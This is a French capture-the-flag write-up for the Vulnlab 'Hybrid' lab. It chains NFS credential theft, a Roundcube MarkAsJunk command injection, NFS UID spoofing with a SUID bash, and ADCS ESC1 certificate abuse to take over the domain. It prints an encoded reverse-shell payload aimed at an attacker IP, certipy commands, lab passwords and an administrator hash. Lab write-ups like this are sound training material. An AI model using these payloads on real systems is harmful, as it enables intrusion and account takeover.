Hybrid est une chaine composé d’un Active Directory qui contient une machine Windows et une Linux. L’accès initial se fait en compromettant la machine Linux puis la compromission du domaine est possible en utilisant une attaque ADCS

Enumération

On commence par lancer un scan nmap sur les ips fournies.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~/ctf/vulnlab/hybrid]
└─$ nmap -A -iL ips
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 15:05 EDT
Nmap scan report for 10.10.186.150
Host is up (0.11s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Redirecting...
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: STLS PIPELINING RESP-CODES TOP CAPA UIDL AUTH-RESP-CODE SASL
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 36457/tcp6 mountd
| 100005 1,2,3 40455/udp mountd
| 100005 1,2,3 42636/udp6 mountd
| 100005 1,2,3 58353/tcp mountd
| 100021 1,3,4 32925/tcp nlockmgr
| 100021 1,3,4 40172/udp6 nlockmgr
| 100021 1,3,4 42157/tcp6 nlockmgr
| 100021 1,3,4 57329/udp nlockmgr
| 100024 1 36369/tcp6 status
| 100024 1 45195/udp status
| 100024 1 46151/udp6 status
| 100024 1 55259/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: SASL-IR listed more post-login ID Pre-login capabilities IMAP4rev1 STARTTLS LOGIN-REFERRALS OK IDLE LOGINDISABLEDA0001 LITERAL+ ENABLE have
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
587/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_imap-capabilities: SASL-IR listed more AUTH=LOGINA0001 IDLE Pre-login post-login IMAP4rev1 capabilities LOGIN-REFERRALS OK AUTH=PLAIN ID LITERAL+ ENABLE have
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_pop3-capabilities: SASL(PLAIN LOGIN) PIPELINING RESP-CODES TOP CAPA UIDL AUTH-RESP-CODE USER
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: Host: mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 78.01 seconds

On peut voir qu’il semble y avoir une machine Windows et une machine Linux, ce qui suggère qu’on a probablement à faire à une machine linux sur le domaine.

La machine Windows est le contrôleur de domaine car son nom Netbios est dc01.hybrid.vl, ce qui signifie que l’on doit d’abord commencer par compromettre la machine Linux.

Grâce au scan nmap, on voit qu’il y’a un serveur Web sur le port 80, en accédeant à ce dernier, on est redirigé vers mail01.hybrid.vl. Ainsi, en modifiant le fichier hosts de ma machine, je tombe sur la page de connexion de Roundcube.

Partages NFS

Comme je n’avais pas d’identifiants valides pour accéder au serveur mail, j’ai essayé d’obtenir des identifiants depuis les partages NFS

NFS (Network File System) est un service de partage de fichier tout comme CIFS (qui est presque équivalement à SMB). Avec NFS, on doit monter les partages accessibles sur le serveur distant sur notre machine afin de pouvoir y accéder.

Pour voir les différents montages NFS disponibles, on peut interroger le serveur avec la commande suivante : showmount -e 10.10.186.150
Cela nous permet d’avoir les montages disponibles et les ips autorisées à monter ces derniers :

1
2
Export list for 10.10.186.150:
/opt/share *

Cela signifie que l’on doit pouvoir accéder au contenu de partage /opt/share en le montant localement :
sudo mount -t nfs -o vers=3 10.10.186.150:/opt/share /mnt/tmpmnt -o nolock

  • mount -t nfs permet de monter un partage NFS
  • -o vers=3: La version de NFS utilisée en se basant sur le scan nmap
  • 10.10.186.150:/opt/share /mnt/tmpmnt : on monte tout ce qui se trouve dans /opt/share vers le dossier /mnt/tmpmnt de notre machine locale
  • -o nolock : désactive le verrouillage de fichiers, ce qui empêche les binaires du partages NFS de bloquer à l’execution

Dans le dossier /mnt/tmpmnt, on trouve un fichier nommé backup.tar.gz. On peut l’extraire avec tar -xzf backup.tar.gz
Cela nous permet d’accéder aux répertoires etc et opt contenus dans l’archive.
En parcourant les fichiers, on peut trouver un fichier qui semble contenir des identifiants de connexion pour Roundcube : /etc/docecot/dovecot-users

1
2
[email protected]:{plain}Duckling21
[email protected]:{plain}PeterIstToll!

En utilisant ces identifiants, on peut se connecter à l’instance Roundcube.

MarkasJunk RCE

En explorant l’interface, je suis tombé sur un mail que admin a envoyé à peter.turner disant qu’il avait activé un Junk plugin sur le serveur.

Après quelques recherches, j’ai trouvé une CVE qui permet une exécution de commande à distance en modifiant de l’utilisateur, envoyant un mail puis en déplaçant le mail dans le dossier indésirable. https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/

En résumé, on peut exécuter une commande arbitraire sous le nom de l’utilisateur à cause d’un manque de filtrage lors de l’analyse du mail par cette version de RoundCube. On peut exécuter la commande en l’encadrant par & dans notre adresse mail ce que RoundCube n’interprète pas correctement.

Pour exploiter la vulnérabilité, il faut se rendre dans Compose > Edit Identities. On peut alors essayer directement : admin&curl http://10.8.0.173:9001/&@hybrid.vl Sauf que Roundcube refuse en disant que l’adresse mail est invalide.
Plutôt que de chercher quels caractères sont blacklistés, on va encoder notre commande en base64 et encoder les caractères spéciaux en URL. On peut faire cela en interceptant la requête avec Burp et en éditant la valeur de l’email.

Par exemple pour exécuter : curl http://10.8.0.173 , on obtient le payload non encodé admin&echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo=|base64${IFS}-d|bash&@hybrid.vl qui donne admin%26echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo%3d|base64${IFS}-d|bash%26%40hybrid.vl une fois encodé.

Une fois la requête envoyé, on constate que notre adresse mail est acceptée malgré les caractères spéciaux.

Pour vérifier que la commande est bien exécutée, je lance un serveur python avec python3 -m http.server 9001 et je rédige un mail test :

Ensuite, après avoir envoyé le mail et l’avoir mis dans la corbeille, j’obtiens une requête sur mon serveur python ce qui signifie que l’on peut exécuter des commandes sur le serveur.
Ainsi, on peut obtenir un reverse shell avec la commande suivante : admin&echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC42LjgwLzQ0NDQgMD4mMQ==${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash&@hybrid.vl

Exploitation du montage NFS interne

En consultant la configuration NFS dans /etc/exports, on peut voir la configuration suivante :

1
2
3
4
5
6
7
8
9
10
11
12
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/opt/share *(rw,no_subtree_check)

Normalement, pour les partages NFS on exploite l’option no_root_squash pour faire de l’escalade de privilège mais ici c’est le drapeau rw (lecture/écriture) qui nous intéresse. https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/

L’idée est d’exploiter le fait que l’utilisateur [email protected] a l’UID 902601108.

1
2
3
www-data@mail01:~/roundcube$ id [email protected]  
id [email protected]
uid=902601108([email protected]) gid=902600513(domain [email protected]) groups=902600513(domain [email protected]),902601104([email protected])

Si l’on crée un utilisateur local avec le même UID, alors NFS nous laissera exécuter des fichiers dans le contexte de cet utilisateur distant. En effet, on pourra alors exploiter le binaire /bin/bash en mettant le SUID pour l’exécuter dans le contexte de peter.turner.
Pour faire cela, on doit suivre ces étapes :

  • Hôte distant: cp /bin/bash /opt/share/
    • Copie de /bin/bash dans le partage NFS
  • Local : sudo useradd [email protected] -u 902601108
    • Création d’un utilisateur nommé [email protected] avec le même UID que celui de la machine distante
    • On doit d’abord modifier /etc/login.defs et changer UID_MAX pour avoir une valeur plus grande que 902601108
  • Local : sudo su -l [email protected]
  • Local : cp /mnt/tmpmnt/bash /tmp/tmpbash/
    • Copie du binaire bash dans un dossier temporaire pour réinitialiser les permissions du binaire
  • Remote host: rm /opt/share/bash
    • Suppression de l’exécutable sur la machine distante pour pouvoir remplacer le binaire par le nouveau
  • Local Host : cp /tmp/tmpbash/bash /mnt/tmpmnt/
    • Copie de notre exécutable sur le partage NFS
  • Local Host : chmod +s /mnt/tmpmnt/bash
    • On met le bit suid sur l’excutable ce qui permet à n’importe quel utilisateur de l’executer avec le contexte de l’utilisateur à qui le binaire appartient.
  • Remote : /opt/share/bash -p
    • On lance bash avec -p qui permet de le lancer en mode privilège. Cela signifie que cela qu’il va définir l’UID effectif sur l’UID réel et que le binaire s’exécutera avec les même permissions que son détenteur.
      En suivant ces étapes, on obtient un shell en tant que [email protected] :

Récupération d’un fichier KDBX

Dans le répertoire de l’utilisateur, on peut trouver le fichier passwords.kdbx en utilisant le mot de passe récupéré précédemment, il est possible de l’ouvrir et de récupérer le mot de passe du compte de peter.turner :

ESC1 ADCS Exploitation

ADCS ( Active Directory Certificate Services) est un rôle serveur qui permet d’ajouter une infrasctructure de gestion de certificats (PKI) dans un environnement Active Directory. Cela permet d’utiliser des mécanismes de sécurité comme le chiffrement à clé publique à l’échelle du domaine.
S’il est mal configuré, ADCS peut contenir des failles de sécurité qui permettent à un attaquant de demander un certificat au nom d'un autre utilisateur, y compris un utilisateur privilégié comme un administrateur.
Ces certificats peuvent ensuite être utilisés pour s'authentifier sur le domaine comme si on était une autre personne.
Pour chercher des modèles de certificats vulnérables, on peut utiliser certipy avec la commande suivante :
certipy-ad find -u [email protected] -p b0cwR+G4Dzl_rw -stdout -old-bloodhound -vulnerable -dc-ip 10.10.238.5
Ce qui va nous retourner le template HybridComputers qui est vulnérable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Certificate Templates
0
Template Name : HybridComputers
Display Name : HybridComputers
Certificate Authorities : hybrid-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 100 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 4096
Permissions
Enrollment Permissions
Enrollment Rights : HYBRID.VL\Domain Admins
HYBRID.VL\Domain Computers
HYBRID.VL\Enterprise Admins
Object Control Permissions
Owner : HYBRID.VL\Administrator
Write Owner Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
Write Dacl Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
Write Property Principals : HYBRID.VL\Domain Admins
HYBRID.VL\Enterprise Admins
HYBRID.VL\Administrator
[!] Vulnerabilities
ESC1 : 'HYBRID.VL\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

On peut voir que que le template est vulnérable à une ESC1. Cela indique que les ordinateurs du domaine peuvent s’enrôler eux-mêmes, fournir le nom du sujet (cad l’utilisateur ciblé) et que le modèle permet l’authentification client. En clair, cela signifie que n'importe quel ordinateur du domaine peut demander un certificat au nom de n'importe quel utilisateur du réseau.

En utilisant bloodhound, on voir que le meilleur moyen d’exploiter cette vulnérablité est d’utiliser le compte machine de mail01 (sur laquelle on est root). Pour pouvoir voir ça sur BloodHound, il ne faut pas oublier d’ajouter les requêtes personnalisés https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json dans ~./config/bloodhound/customqueries.json

Comme on est root sur la machine MAIL01 qui est membre du domaine, on peut récupérer le hash NTLM du compte ordinateur en accédant au fichier /etc/krb5.keytab

On peut ensuite utiliser keytabextract pour déchiffrer le fichier. https://github.com/sosdave/KeyTabExtract

Ensuite, on peut utiliser le hash NTLM du compte machine pour demander un certificat certipy-ad req -u 'MAIL01$' -hashes ":0f916c5246fdbc7ba95dcef4126d57bd" -dc-ip "10.10.238.5" -ca 'hybrid-DC01-CA' -template 'HYBRIDCOMPUTERS' -upn 'administrator' -target 'dc01.hybrid.vl'

Mais on obtient cette erreur :

1
2
3
Certipy v4.8.2 - by Oliver Lyak (ly4k) /usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\(' "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ", 
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template

Par défaut, certipy utilise une clé publique d’une taille de 2048 alors que dans notre cas, la taille de la clé est de 4096 comme on peut le voir en analysant le fichier fullchain.pem avec openssl x509 -in fullchain.pem -noout -text

En ajoutant la longueur de la clé à la commande, on obtient le certificat :

On peut ensuite l’utiliser pour récupérer le hash NT du compte administrateur du domaine :

1
2
3
4
5
6
7
8
└─$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.238.5 
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:60701e8543c9f6db1a2af3217386d3dc

Et on peut récupérer la base NTDS :